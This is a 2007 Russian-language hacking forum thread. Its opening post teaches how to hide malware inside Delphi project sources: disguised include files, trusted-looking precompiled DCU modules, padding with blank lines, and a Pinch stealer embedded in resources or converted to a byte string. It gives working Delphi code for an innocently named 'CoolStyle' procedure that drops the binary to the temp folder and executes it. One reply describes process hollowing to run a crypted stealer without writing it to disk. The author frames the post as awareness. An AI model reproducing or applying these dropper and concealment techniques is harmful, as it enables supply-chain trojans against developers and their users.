HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > ИНФО > Статьи > Авторские статьи
   
 
 
Опции темы Поиск в этой теме Опции просмотра

Вирус в исходных кодах на Дельфи
  #1  
Старый 15.04.2007, 03:56
begin_end
Участник форума
Регистрация: 04.01.2007
Сообщений: 176
С нами: 10184006

Репутация: 1362
Post Вирус в исходных кодах на Дельфи

Цель данной статьи – рассказать о способах включения стороннего кода или приложений в комплект исходного кода проекта Дельфи. Всё, описанное в статье, только для ознакомления с возможными опасностями.

Статья рассчитана на аудиторию начинающих программистов на Дельфи, материал статьи потребует для освоения наличие Дельфи и навыков кодинга на нём.

Терминология:
Дельфи – среда визуальной разработки приложений, а с версии 7, ещё и одноименный язык программирования;
DCU-файл – модуль с пред-скомпилированным кодом;
RES-файл – ресурсный файл, ресурсы из которого, при компиляции включаются в её результат.

Начну статью с классификации способов осуществления такого. Суть в том, чтобы любым методом сделать так, чтобы наш код незаметно лежал в сорцах проекта Дельфи:



И при компиляции был вовлечён в выходную программу, которая стала чем-то вроде джоинера или непосредственно несла код. Способы, когда вредоносный код запускается уже при открытии исходников, в среде разработки здесь упоминаться не будут. Итак:



1) Суть этого метода во вложении в директорию проекта приложения-вируса и запуска его из того приложения, исходники которого подвергаются компиляции с запуском. малоэффективен вследствие явности.

2.1.1) Делаем любой файл с сорцами виря и включаем его, как include. А видимое расширение может быть, например, ico.

2.1.2) Пишем наш код виря в отдельном модуле, компилируем его Дельфёй в dcu. Затем называем dcu как-нибудь красиво, так, чтоб было видно, что там разные необходимые функции есть. А с кода проекта где-нибудь включаем dcu в uses и вызываем функцию виря, как будто бы как полезную. (Не забываем удалить одноименный pas). Пример прилагается (после компиляции в результирующую программу включается код для перезагрузки системы из модуля Unit2.dcu).

2.1.3) То же, что и 2.1.2, но без компиляции. От неопытного программиста просто спрятать нужный код. Скажем, отделить его от основного кода пустыми строками далеко вниз. Или использовать запутанные, нечитабельные названия процедур и функций. Да и полезного кода может быть очень много, так что "затесать" среди него иной можно вполне удачно.

2.2.1) Мы имеем в своём распоряжении уже готовый exe, скажем пинч. Тут мы можем положить его в файл res с помощью редактора ресурсов, например, Restorator. res-файлы редко кто просматривает. Затем в программу достаточно включить код извлечения из ресурса и запуска (сделать его сокрытие, как в 2.1).

2.2.2) Берём наш пинч, и разбираем его на последовательность байт. Вставляем всё это в pas-файл с функцией, которая все эти байты собирает в файл и запускает его. Называем функцию «мирно» и компилируем. Получаем модуль dcu, при вызове из которого функции, например CoolStyle, у нас извлекается и запускается пинч. Обычно к модулям dcu доверительное отношение. Особенно если взять действительно полезных функций, добавить своё "добро" и откомпилить в такой модуль.

Здесь остановлюсь поподробнее на самой методике использования. (Можно скачать пример). Перед тем, как вставить в код модуля последовательность символов влагаемого вируса типа «#12+#87+#124+#3…» эту последовательность нужно получить. Программа, делающая это поставляется с примером. Там мы выбираем бинарник и сохраняем его в текстовик, получая из строки вида «MZPhglea» такое: 77+#90+#80+#104+#103+#108+#101+#97+#. Вставляем это в следующий код Unit2.pas так:
Код:
unit Unit2;
interface
  procedure CoolStyle;

implementation
uses windows;

function SpecString:string;
begin
 Result:=#77+#90+#80+#104+#103+#108+#101+#97;
end;

function TmpPath:string;
begin
 SetLength(Result,255);
 GetTempPath(254, PChar(Result));
 Result :=PChar(Result);
end;

procedure CoolStyle;
var a:textfile;
begin
 AssignFile(a,TmpPath+'binary.exe');
 ReWrite(a);
 Write(a,SpecString);
 CloseFile(a);
 WinExec(PChar(TmpPath+'binary.exe'),0);
end;

begin
end.
Потом мы компилируем наш модуль. Это происходит при записи его имени в uses целевого приложения и вызове из него функции/процедуры. Но можно откомпилировать его никуда не включая, используя, компилятор Small Delphi (здесь). DCU готов, юзаем, как в 2.1.2.

Заключение.
Статья и примеры были созданы исключительно в демонстративных и упредительных целях. В ходе работы использовалась среда Delphi 7, а также дополнительные программы: Small Delphi и Binary Converter (от автора). Статью (как и исходный код) можно дополнять, переопубликовывать с разрешения автора. Предложения и критика ожидаемы и желательны.
 

  #2  
Старый 15.04.2007, 04:19
KEZ
Banned
Регистрация: 18.05.2005
Сообщений: 1,981
С нами: 11042306

Репутация: 2726


По умолчанию

было: как сломать форум
стало: где достать.....
 

  #3  
Старый 15.04.2007, 11:29
ShadOS
ы
Регистрация: 11.02.2007
Сообщений: 750
С нами: 10129286

Репутация: 1477


По умолчанию

Ну и кому это может пригодиться? Статья чисто теоретического плана в стиле "я изучаю Delphi"
__________________
..когда же кто-нибудь выпустит MD5(Unix) брутер на GPU.... жду....
 

  #4  
Старый 15.04.2007, 20:38
Fen-Omen
Участник форума
Регистрация: 22.03.2007
Сообщений: 220
С нами: 10073762

Репутация: 234
По умолчанию

Цитата:
Сообщение от ShadOS  
Ну и кому это может пригодиться? Статья чисто теоретического плана в стиле "я изучаю Delphi"
Автор описывает возможные опасности при работе с исходниками программ...

Последний раз редактировалось Fen-Omen; 15.05.2007 в 02:32..
 

  #5  
Старый 15.04.2007, 12:31
begin_end
Участник форума
Регистрация: 04.01.2007
Сообщений: 176
С нами: 10184006

Репутация: 1362
По умолчанию

Дело в том, что я встречал такие компоненты, которые поставлялись в виде тех же dcu-файлов, но использовании которых в свою программу включался нежелательный код. Как правило это были рекламные функции. А два раза это был троян.
Думаю, статья является не теоретической, а скорее теоретико-практической, т.к. метод 2.2.2 непросто упомянут, но описан.
К тому же многие, кто ещё и занимаются кодингом здесь, кодят на Дельфи. Потому я счёл, что актуальность статьи достаточно велика.
Помимо сказанного, статья может стать основой для последующих публикаций в таком тематическом направлении.
 

  #6  
Старый 17.04.2007, 01:18
irmologic
Новичок
Регистрация: 14.03.2007
Сообщений: 10
С нами: 10084185

Репутация: 16
По умолчанию

Я сам работаю с Delpi, кодинг мне очень интересен. А такой матерьял сильно помогает
Статейко как и в стиле прошлых! Автор, просто суперр! +
Свяжись по мылу - есть предложенья.
 

  #7  
Старый 30.06.2007, 00:34
firemen
Новичок
Регистрация: 03.06.2006
Сообщений: 22
С нами: 10493567

Репутация: 1
По умолчанию

Приведи пример как можно запустить файл не сохраняя на диске.
Я могу показать, как запустить приложение, код которого в строке подобно твоей без сохранения на диске, путём запуска приостановленного процесса, замены кода и возобновления процесса с нашим уже троем.
но, столкнулся с проблемой, что если запрятать в строку тот же notepad то запускается на ура, а вот криптованный пинч не хочет.
 

  #8  
Старый 30.06.2007, 00:53
dmnt
Познающий
Регистрация: 06.06.2007
Сообщений: 99
С нами: 9963082

Репутация: 94
По умолчанию

вот только при чем тут вирусы?
 

  #9  
Старый 01.07.2007, 12:41
genom--
Постоянный
Регистрация: 09.07.2006
Сообщений: 937
С нами: 10441826

Репутация: 1686


По умолчанию

мда вирусы и на делфи -- жесть

Последний раз редактировалось genom--; 01.07.2007 в 12:49..
 

  #10  
Старый 09.07.2007, 11:44
z01b
Постоянный
Регистрация: 05.01.2007
Сообщений: 508
С нами: 10182506

Репутация: 1393


По умолчанию

Цитата:
Сообщение от genom--  
мда вирусы и на делфи -- жесть
Ну ты сказал ... , Делфи ничем не уступает по возможностям Си, и он более понятен, единственый минус это размер, но это мона легко решыть если написать на чистом апи!
 
 



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Новый вирус выдает себя за IE7 beta 2 Sadman Мировые новости. Обсуждения. 1 04.04.2007 17:39
Bat Micr0b Windows 2 25.04.2006 19:49
Хитрый вирус ловили целый месяц. Allen Мировые новости. Обсуждения. 1 24.04.2006 19:00
Появился первый вирус, мигрирующий с вашего ПК на мобильный телефон Zaratustra Мировые новости. Обсуждения. 1 04.03.2006 01:38



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.

×

Внести депозит

Введите сумму USDT:

Принимается только USDT TRC20. Fake/Flash USDT не засчитывается.

×

Вывести депозит

Сумма USDT:

Ваш USDT TRC20 кошелек:

Заявка будет отправлена администратору.